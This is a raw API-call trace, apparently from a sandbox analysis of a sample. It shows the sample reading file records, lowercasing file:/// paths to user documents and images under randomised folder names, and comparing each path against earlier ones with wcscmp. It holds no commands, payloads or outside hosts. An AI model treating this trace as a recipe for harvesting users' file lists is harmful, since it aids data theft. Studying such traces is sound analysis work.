	[0098.842] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/gjve.gif", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/gjve.gif", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/gjve.gif", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0098.843] wcslen (_String="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 0x2b
	[0098.843] SetFilePointer (in: hFile=0xbc, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
	[0098.843] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.843] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.843] SetFilePointer (in: hFile=0xbc, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
	[0098.843] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.843] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/DYz_3VM%200T2QZuD-5rtt.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp"
	[0098.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 88
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0098.843] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 0x57
	[0098.843] SetFilePointer (in: hFile=0xbc, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
	[0098.843] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.843] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.843] SetFilePointer (in: hFile=0xbc, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
	[0098.843] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.843] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/QeUbJQgALSEq5.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp"
	[0098.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 73
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.843] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.843] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 0x48
	[0098.843] SetFilePointer (in: hFile=0xbc, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
	[0098.843] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.843] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.843] SetFilePointer (in: hFile=0xbc, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
	[0098.844] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.844] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/sF46HUA1vlRJ5-.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp"
	[0098.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 68
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0098.844] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 0x43
	[0098.844] SetFilePointer (in: hFile=0xbc, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
	[0098.844] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.844] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.844] SetFilePointer (in: hFile=0xbc, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
	[0098.844] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.844] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/N3TKPk6ThmsMB%20WL.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg"
	[0098.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 96
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 1
	[0098.844] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0098.844] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 0x5f
	[0098.844] SetFilePointer (in: hFile=0xbc, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
	[0098.844] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.844] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.844] SetFilePointer (in: hFile=0xbc, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
	[0098.844] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.845] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/rqAE_GcqGo/XvVZheK.ods" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods"
	[0098.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 104
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.845] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 0x67
	[0098.845] SetFilePointer (in: hFile=0xbc, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
	[0098.845] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.845] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.845] SetFilePointer (in: hFile=0xbc, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
	[0098.845] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.845] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Zpb1TCp9A.odt" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt"
	[0098.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 56
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.845] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.845] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 0x37
	[0098.845] SetFilePointer (in: hFile=0xbc, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
	[0098.845] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.845] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.845] SetFilePointer (in: hFile=0xbc, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
	[0098.845] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.846] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/eEe6Tei2Z7N.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx"
	[0098.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 53
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
